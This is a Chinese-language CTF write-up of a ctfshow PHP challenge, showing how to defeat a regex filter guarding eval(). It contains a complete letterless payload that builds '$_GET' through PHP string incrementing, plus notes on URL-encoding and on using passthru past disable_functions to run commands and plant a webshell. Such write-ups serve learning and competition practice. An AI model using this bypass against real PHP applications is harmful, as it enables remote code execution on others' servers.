前两天做的ctfshow的吃瓜杯的题目,做一个记录。
开始
打开题目看到的是phpinfo的页面
然后往下一划艹
这可真是吓了一跳,这么多disable_functions函数
不过也是有惊喜的
cookie里面看到了提示。
然后打开看见了源码
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
这个正则真是绝了,md没有符号了都。
测试一下还有什么符号
<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/", chr($a))){
echo chr($a)." ";
}
}
?>
还有几个残留的
$ ( ) + , - . / 0 1 2 3 ; < = > ? C [ ] _ { }
一看就是无数字、字母、符号的rce绕过了
然后看了一圈之前的笔记
常用绕过基本都没有戏了
^ % * & @ ?
这六个扛把子的直接被干掉了。靠
然后又是一直没有什么结果。其实是想到只能是自增的方法拼凑字母的但是无奈但是没有理解自增的奥秘,一直没有拼出来还是错误的。
直到看到一篇文章
https://f5.pm/go-29700.html
https://ab-alex.github.io/2019/10/17/RCE提高篇
下面那一片才算值真正的启发,明白自增的原理
下图来自php官方手册
自增不只是能增数字还能增字符
然后还是没有写出来。
直到这个wp出来
真是自己做的时候想来想起
一看答案就瞬间明白了
上wp
$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});
解析
$_=C; //C
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //$_GET
($$_{1})($$_{2}); $_GET{1} $_GET{2}
解释N的来源
解释:
2
这个小技巧我们不知道的话,我们可以用挨个自增的办法也是行的通的。
$_=C; //C
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_++; //H
$_++; //I
$_++; //J
$_++; //K
$_++; //L
$_++; //M
$_++; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R //在ascii码表里面u在t后面
$_=_.$C_.$C.++$_; //$_GET
($$_{1})($$_{2}); //$_GET{1} $_GET{2}
解释
自增出来以后我们就可以进行上传了。
小tips
这里需要注意的是使用自增的方法的时候我们传参的时候需要先进行url的编码。
当然这里大家可能就会有疑惑了,url编码我们在传参的时候不是正则匹配不能出现%号吗,这
里的%为什么能够绕过呢。
其实啊,这里有个小细节,就是post和get方法传参的时候会将url编码的参数自动的进行URL的解码
上传的参数根本就不会出现%.
测试结果post
测试结果get
然后上传上去我们就能够执行命令了。
但是后面还有一点就是前面我们发现的phpinfo中有很多的过滤函数。我们没有办法执行系统的命令,
但是作者还是给我们留下了方法。
passthru函数并没有过滤
然后就能自由自在的执行命令了。
然后还可以直接的连马